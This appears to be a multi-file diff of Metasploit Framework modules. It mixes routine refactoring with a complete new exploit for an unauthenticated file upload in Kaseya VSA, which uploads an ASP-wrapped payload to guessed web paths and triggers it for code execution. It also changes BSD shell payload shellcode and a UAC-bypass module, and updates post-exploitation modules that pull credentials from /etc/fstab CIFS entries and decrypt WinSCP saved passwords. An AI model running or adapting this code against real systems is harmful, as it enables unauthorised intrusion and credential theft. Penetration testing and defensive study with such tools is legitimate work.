||||||
|
stub
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -69,4 +89,14 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||||
def encode_end(state)
|
def encode_end(state)
|
||||||
state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator()
|
state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator()
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Indicate that this module can preserve some registers
|
||||||
|
def can_preserve_registers?
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
# Convert the SaveRegisters to an array of x86 register constants
|
||||||
|
def saved_registers
|
||||||
|
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -34,6 +34,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||||
# being encoded.
|
# being encoded.
|
||||||
#
|
#
|
||||||
def decoder_stub(state)
|
def decoder_stub(state)
|
||||||
|
modified_registers = []
|
||||||
reg = datastore['BufferRegister']
|
reg = datastore['BufferRegister']
|
||||||
off = (datastore['BufferOffset'] || 0).to_i
|
off = (datastore['BufferOffset'] || 0).to_i
|
||||||
buf = ''
|
buf = ''
|
||||||
|
@ -44,8 +45,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||||
buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816'
|
buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816'
|
||||||
reg = 'ECX'
|
reg = 'ECX'
|
||||||
off = 0
|
off = 0
|
||||||
|
modified_registers.concat (
|
||||||
|
[
|
||||||
|
Rex::Arch::X86::ESP,
|
||||||
|
Rex::Arch::X86::EDI,
|
||||||
|
Rex::Arch::X86::ESI,
|
||||||
|
Rex::Arch::X86::EAX
|
||||||
|
])
|
||||||
else
|
else
|
||||||
res = Rex::Arch::X86.geteip_fpu(state.badchars)
|
res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers)
|
||||||
if (not res)
|
if (not res)
|
||||||
raise EncodingError, "Unable to generate geteip code"
|
raise EncodingError, "Unable to generate geteip code"
|
||||||
end
|
end
|
||||||
|
@ -55,7 +63,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||||
reg.upcase!
|
reg.upcase!
|
||||||
end
|
end
|
||||||
|
|
||||||
buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off)
|
stub = buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off, modified_registers)
|
||||||
|
|
||||||
|
# Sanity check that saved_registers doesn't overlap with modified_registers
|
||||||
|
modified_registers.uniq!
|
||||||
|
if (modified_registers & saved_registers).length > 0
|
||||||
|
raise BadGenerateError
|
||||||
|
end
|
||||||
|
|
||||||
|
stub
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -72,4 +88,14 @@ class Metasploit3 < Msf::Encoder::Alphanum
|
||||||
def encode_end(state)
|
def encode_end(state)
|
||||||
state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator()
|
state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator()
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Indicate that this module can preserve some registers
|
||||||
|
def can_preserve_registers?
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
# Convert the SaveRegisters to an array of x86 register constants
|
||||||
|
def saved_registers
|
||||||
|
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BadChars' => '',
|
'BadChars' => '',
|
||||||
'DisableNops' => true,
|
'DisableNops' => true,
|
||||||
},
|
},
|
||||||
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win },
|
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
|
||||||
'Arch' => ARCH_ALL,
|
'Arch' => ARCH_ALL,
|
||||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0
|
||||||
|
|
|
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")
|
print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")
|
||||||
|
|
||||||
capture_sendto(p, rhost)
|
return unless capture_sendto(p, rhost)
|
||||||
|
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
|
|
|
@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
|
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
|
||||||
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi']
|
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'],
|
||||||
|
['CVE', '2015-2342']
|
||||||
],
|
],
|
||||||
'Platform' => 'java',
|
'Platform' => 'java',
|
||||||
'Arch' => ARCH_JAVA,
|
'Arch' => ARCH_JAVA,
|
||||||
|
|
|
@ -204,10 +204,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
p.payload = sploit
|
p.payload = sploit
|
||||||
p.recalc
|
p.recalc
|
||||||
|
|
||||||
capture_sendto(p, rhost)
|
sent = capture_sendto(p, rhost)
|
||||||
close_pcap
|
close_pcap
|
||||||
|
|
||||||
handler
|
handler if sent
|
||||||
else
|
else
|
||||||
print_status("Sending malformed LWRES packet to #{rhost}")
|
print_status("Sending malformed LWRES packet to #{rhost}")
|
||||||
connect_udp
|
connect_udp
|
||||||
|
|
|
@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
while true
|
while true
|
||||||
break if session_created? and datastore['ExitOnSession']
|
break if session_created? and datastore['ExitOnSession']
|
||||||
capture_sendto(p, rhost)
|
break unless capture_sendto(p, rhost)
|
||||||
select(nil,nil,nil,datastore['DELAY'])
|
select(nil,nil,nil,datastore['DELAY'])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -397,6 +397,33 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
create_credential_login(login_data)
|
create_credential_login(login_data)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :nonreplayable_hash,
|
||||||
|
jtr_format: 'md5,raw-md5'
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
print_status("#{peer} - Checking for a valid node id...")
|
print_status("#{peer} - Checking for a valid node id...")
|
||||||
node_id = get_node
|
node_id = get_node
|
||||||
|
@ -417,6 +444,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
for i in 0..count_users - 1
|
for i in 0..count_users - 1
|
||||||
user = get_user_data(node_id, i)
|
user = get_user_data(node_id, i)
|
||||||
|
report_cred(
|
||||||
|
ip: rhost,
|
||||||
|
port: rport,
|
||||||
|
user: user[0],
|
||||||
|
password: user[1],
|
||||||
|
service_name: (ssl ? "https" : "http"),
|
||||||
|
proof: "salt: #{user[2]}"
|
||||||
|
)
|
||||||
report_auth_info({
|
report_auth_info({
|
||||||
:host => rhost,
|
:host => rhost,
|
||||||
:port => rport,
|
:port => rport,
|
||||||
|
|
|
@ -0,0 +1,132 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
|
||||||
|
between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
|
||||||
|
directory leading to arbitrary code execution with IUSR privileges. This module has been
|
||||||
|
tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2015-6922'],
|
||||||
|
['ZDI', '15-449'],
|
||||||
|
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
|
||||||
|
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Privileged' => false,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Kaseya VSA v7 to v9.1', {} ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Sep 23 2015'))
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri('ConfigTab','uploader.aspx')
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def upload_file(payload, path, filename, session_id)
|
||||||
|
print_status("#{peer} - Uploading payload to #{path}...")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
|
||||||
|
'vars_get' => {
|
||||||
|
'PathData' => path,
|
||||||
|
'qqfile' => filename
|
||||||
|
},
|
||||||
|
'data' => payload,
|
||||||
|
'ctype' => 'application/octet-stream',
|
||||||
|
'cookie' => 'sessionId=' + session_id
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri('ConfigTab','uploader.aspx')
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
|
||||||
|
session_id = $1
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
|
||||||
|
end
|
||||||
|
|
||||||
|
asp_name = "#{rand_text_alpha_lower(8)}.asp"
|
||||||
|
exe = generate_payload_exe
|
||||||
|
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
|
||||||
|
|
||||||
|
paths = [
|
||||||
|
# We have to guess the path, so just try the most common directories
|
||||||
|
'C:\\Kaseya\\WebPages\\',
|
||||||
|
'C:\\Program Files\\Kaseya\\WebPages\\',
|
||||||
|
'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||||
|
'D:\\Kaseya\\WebPages\\',
|
||||||
|
'D:\\Program Files\\Kaseya\\WebPages\\',
|
||||||
|
'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||||
|
'E:\\Kaseya\\WebPages\\',
|
||||||
|
'E:\\Program Files\\Kaseya\\WebPages\\',
|
||||||
|
'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
|
||||||
|
]
|
||||||
|
|
||||||
|
paths.each do |path|
|
||||||
|
if upload_file(payload, path, asp_name, session_id)
|
||||||
|
register_files_for_cleanup(path + asp_name)
|
||||||
|
print_status("#{peer} - Executing payload #{asp_name}")
|
||||||
|
|
||||||
|
send_request_cgi({
|
||||||
|
'uri' => normalize_uri(asp_name),
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
# Failure. The request timed out or the server went away.
|
||||||
|
break if res.nil?
|
||||||
|
# Success! Triggered the payload, should have a shell incoming
|
||||||
|
break if res.code == 200
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -197,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
winver = sysinfo['OS']
|
winver = sysinfo['OS']
|
||||||
|
|
||||||
case winver
|
case winver
|
||||||
when /Windows (7|8|2008|2012)/
|
when /Windows (7|8|2008|2012|10)/
|
||||||
print_good("#{winver} may be vulnerable.")
|
print_good("#{winver} may be vulnerable.")
|
||||||
else
|
else
|
||||||
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||||
|
@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
|
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
|
||||||
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
|
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
|
||||||
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
|
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
|
||||||
when /Windows (8|2012)/
|
when /Windows (8|2012|10)/
|
||||||
paths[:szElevDll] = 'NTWDBLIB.dll'
|
paths[:szElevDll] = 'NTWDBLIB.dll'
|
||||||
paths[:szElevDir] = "#{win_path}\\System32"
|
paths[:szElevDir] = "#{win_path}\\System32"
|
||||||
# This should be fine to be left blank
|
# This should be fine to be left blank
|
||||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = 89
|
CachedSize = 90
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::Bsd
|
include Msf::Payload::Bsd
|
||||||
|
@ -46,7 +46,8 @@ module Metasploit3
|
||||||
"\x52" +# push %rdx #
|
"\x52" +# push %rdx #
|
||||||
"\x52" +# push %rdx #
|
"\x52" +# push %rdx #
|
||||||
"\x52" +# push %rdx #
|
"\x52" +# push %rdx #
|
||||||
"\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 #
|
"\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 #
|
||||||
|
"\x52" +# push %rdx #
|
||||||
"\x48\x89\xe6" +# mov %rsp,%rsi #
|
"\x48\x89\xe6" +# mov %rsp,%rsi #
|
||||||
"\x6a\x1c" +# pushq $0x1c #
|
"\x6a\x1c" +# pushq $0x1c #
|
||||||
"\x5a" +# pop %rdx #
|
"\x5a" +# pop %rdx #
|
||||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = 87
|
CachedSize = 88
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::Bsd
|
include Msf::Payload::Bsd
|
||||||
|
@ -44,7 +44,8 @@ module Metasploit3
|
||||||
"\x0f\x05" +# syscall #
|
"\x0f\x05" +# syscall #
|
||||||
"\x48\x97" +# xchg %rax,%rdi #
|
"\x48\x97" +# xchg %rax,%rdi #
|
||||||
"\x52" +# push %rdx #
|
"\x52" +# push %rdx #
|
||||||
"\x68\x00\x02\x11\x5c" +# pushq $0x5c110200 #
|
"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
|
||||||
|
"\x52" +# push %rdx #
|
||||||
"\x48\x89\xe6" +# mov %rsp,%rsi #
|
"\x48\x89\xe6" +# mov %rsp,%rsi #
|
||||||
"\x6a\x10" +# pushq $0x10 #
|
"\x6a\x10" +# pushq $0x10 #
|
||||||
"\x5a" +# pop %rdx #
|
"\x5a" +# pop %rdx #
|
||||||
|
|
|
@ -47,10 +47,10 @@ class Metasploit3 < Msf::Post
|
||||||
cred = {}
|
cred = {}
|
||||||
# if the fstab line utilizies the credentials= option, read the credentials from that file
|
# if the fstab line utilizies the credentials= option, read the credentials from that file
|
||||||
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
|
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
|
||||||
host = $1
|
cred[:host] = $1
|
||||||
# IPs can occur using the ip option, which is a backup/alternative
|
# IPs can occur using the ip option, which is a backup/alternative
|
||||||
# to letting UNC resolution do its thing
|
# to letting UNC resolution do its thing
|
||||||
host = $1 if (fstab_line =~ /ip=([^, ]+)/)
|
cred[:host] = $1 if (fstab_line =~ /ip=([^, ]+)/)
|
||||||
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
|
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
|
||||||
file = $1
|
file = $1
|
||||||
# skip if we've already parsed this credentials file
|
# skip if we've already parsed this credentials file
|
||||||
|
@ -58,11 +58,13 @@ class Metasploit3 < Msf::Post
|
||||||
# store it if we haven't
|
# store it if we haven't
|
||||||
cred_files << file
|
cred_files << file
|
||||||
# parse the credentials
|
# parse the credentials
|
||||||
creds << parse_credentials_file(file)
|
cred.merge!(parse_credentials_file(file))
|
||||||
# if the credentials are directly in /etc/fstab, parse them
|
# if the credentials are directly in /etc/fstab, parse them
|
||||||
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
|
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
|
||||||
creds << parse_fstab_credentials(fstab_line)
|
cred.merge!(parse_fstab_credentials(fstab_line))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
creds << cred
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -71,10 +73,15 @@ class Metasploit3 < Msf::Post
|
||||||
creds.compact!
|
creds.compact!
|
||||||
creds.uniq!
|
creds.uniq!
|
||||||
creds.each do |cred|
|
creds.each do |cred|
|
||||||
# XXX: currently, you can only report_auth_info on an IP or a valid Host. in our case,
|
|
||||||
# host[:host] is *not* a Host. Fix this some day.
|
|
||||||
if (Rex::Socket.dotted_ip?(cred[:host]))
|
if (Rex::Socket.dotted_ip?(cred[:host]))
|
||||||
report_auth_info({ :port => 445, :sname => 'smb', :type => 'password', :active => true }.merge(cred))
|
report_cred(
|
||||||
|
ip: cred[:host],
|
||||||
|
port: 445,
|
||||||
|
service_name: 'smb',
|
||||||
|
user: cred[:user],
|
||||||
|
password: cred[:pass],
|
||||||
|
proof: '/etc/fstab'
|
||||||
|
)
|
||||||
end
|
end
|
||||||
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
|
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
|
||||||
end
|
end
|
||||||
|
@ -93,8 +100,37 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :session,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password,
|
||||||
|
module_fullname: fullname,
|
||||||
|
session_id: session_db_id,
|
||||||
|
post_reference_name: self.refname
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
|
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
|
||||||
# Returns the username+domain and password as a hash, nil if nothing is found.
|
# Returns the username+domain and password as a hash.
|
||||||
def parse_fstab_credentials(line, file="/etc/fstab")
|
def parse_fstab_credentials(line, file="/etc/fstab")
|
||||||
creds = {}
|
creds = {}
|
||||||
# get the username option, which comes in one of four ways
|
# get the username option, which comes in one of four ways
|
||||||
|
@ -123,11 +159,12 @@ class Metasploit3 < Msf::Post
|
||||||
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
|
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
|
||||||
|
|
||||||
creds[:file] = file unless (creds.empty?)
|
creds[:file] = file unless (creds.empty?)
|
||||||
(creds.empty? ? nil : creds)
|
|
||||||
|
creds
|
||||||
end
|
end
|
||||||
|
|
||||||
# Parse mount.cifs credentials from +file+, returning the username+domain and password
|
# Parse mount.cifs credentials from +file+, returning the username+domain and password
|
||||||
# as a hash, nil if nothing is found.
|
# as a hash.
|
||||||
def parse_credentials_file(file)
|
def parse_credentials_file(file)
|
||||||
creds = {}
|
creds = {}
|
||||||
domain = nil
|
domain = nil
|
||||||
|
@ -145,6 +182,6 @@ class Metasploit3 < Msf::Post
|
||||||
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
|
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
|
||||||
creds[:file] = file unless (creds.empty?)
|
creds[:file] = file unless (creds.empty?)
|
||||||
|
|
||||||
(creds.empty? ? nil : creds)
|
creds
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,5 +1,3 @@
|
||||||
# post/windows/gather/enum_vnc_pw.rb
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
@ -8,6 +6,7 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
require 'rex/parser/ini'
|
require 'rex/parser/ini'
|
||||||
|
require 'rex/parser/winscp'
|
||||||
require 'msf/core/auxiliary/report'
|
require 'msf/core/auxiliary/report'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
@ -15,6 +14,7 @@ class Metasploit3 < Msf::Post
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Post::Windows::UserProfiles
|
include Msf::Post::Windows::UserProfiles
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
|
include Rex::Parser::WinSCP
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -73,14 +73,21 @@ class Metasploit3 < Msf::Post
|
||||||
portnum = 22
|
portnum = 22
|
||||||
end
|
end
|
||||||
|
|
||||||
winscp_store_config(
|
encrypted_password = password
|
||||||
'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "",
|
user = registry_getvaldata(active_session, 'UserName') || ""
|
||||||
'HostName' => registry_getvaldata(active_session, 'HostName') || "",
|
fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ""
|
||||||
'Password' => password,
|
sname = parse_protocol(fsprotocol)
|
||||||
'PortNumber' => portnum,
|
host = registry_getvaldata(active_session, 'HostName') || ""
|
||||||
'UserName' => registry_getvaldata(active_session, 'UserName') || "",
|
|
||||||
)
|
|
||||||
|
|
||||||
|
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
|
||||||
|
|
||||||
|
winscp_store_config({
|
||||||
|
hostname: host,
|
||||||
|
username: user,
|
||||||
|
password: plaintext,
|
||||||
|
portnumber: portnum,
|
||||||
|
protocol: sname
|
||||||
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
if savedpwds == 0
|
if savedpwds == 0
|
||||||
|
@ -96,121 +103,62 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def get_ini(filename)
|
|
||||||
print_error("Looking for #{filename}.")
|
|
||||||
# opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
|
|
||||||
parse = read_file(filename)
|
|
||||||
if parse.nil?
|
|
||||||
print_error("WinSCP.ini file NOT found...")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Found WinSCP.ini file...")
|
|
||||||
ini = Rex::Parser::Ini.from_s(parse)
|
|
||||||
|
|
||||||
# if a Master Password is in use we give up
|
|
||||||
if ini['Configuration\\Security']['MasterPassword'] == '1'
|
|
||||||
print_status("Master Password Set, unable to recover saved passwords!")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Runs through each group in the ini file looking for all of the Sessions
|
|
||||||
ini.each_key do |group|
|
|
||||||
if group.include?('Sessions') && ini[group].has_key?('Password')
|
|
||||||
winscp_store_config(
|
|
||||||
'FSProtocol' => ini[group]['FSProtocol'],
|
|
||||||
'HostName' => ini[group]['HostName'],
|
|
||||||
'Password' => ini[group]['Password'],
|
|
||||||
'PortNumber' => ini[group]['PortNumber'] || 22,
|
|
||||||
'UserName' => ini[group]['UserName'],
|
|
||||||
)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def decrypt_next_char
|
|
||||||
|
|
||||||
pwalg_simple_magic = 0xA3
|
|
||||||
pwalg_simple_string = "0123456789ABCDEF"
|
|
||||||
|
|
||||||
# Decrypts the next character in the password sequence
|
|
||||||
if @password.length > 0
|
|
||||||
# Takes the first char from the encrypted password and finds its position in the
|
|
||||||
# pre-defined string, then left shifts the returned index by 4 bits
|
|
||||||
unpack1 = pwalg_simple_string.index(@password[0,1])
|
|
||||||
unpack1 = unpack1 << 4
|
|
||||||
|
|
||||||
# Takes the second char from the encrypted password and finds its position in the
|
|
||||||
# pre-defined string
|
|
||||||
unpack2 = pwalg_simple_string.index(@password[1,1])
|
|
||||||
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
|
|
||||||
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
|
|
||||||
# Strips the first two chars off and returns our result
|
|
||||||
@password = @password[2,@password.length]
|
|
||||||
return result
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def decrypt_password(pwd, key)
|
|
||||||
pwalg_simple_flag = 0xFF
|
|
||||||
@password = pwd
|
|
||||||
flag = decrypt_next_char()
|
|
||||||
|
|
||||||
if flag == pwalg_simple_flag
|
|
||||||
decrypt_next_char()
|
|
||||||
length = decrypt_next_char()
|
|
||||||
else
|
|
||||||
length = flag
|
|
||||||
end
|
|
||||||
ldel = (decrypt_next_char())*2
|
|
||||||
@password = @password[ldel,@password.length]
|
|
||||||
|
|
||||||
result = ""
|
|
||||||
length.times do
|
|
||||||
result << decrypt_next_char().chr
|
|
||||||
end
|
|
||||||
|
|
||||||
if flag == pwalg_simple_flag
|
|
||||||
result = result[key.length, result.length]
|
|
||||||
end
|
|
||||||
|
|
||||||
result
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_status("Looking for WinSCP.ini file storage...")
|
print_status("Looking for WinSCP.ini file storage...")
|
||||||
get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
|
|
||||||
print_status("Looking for Registry Storage...")
|
# WinSCP is only x86...
|
||||||
get_reg()
|
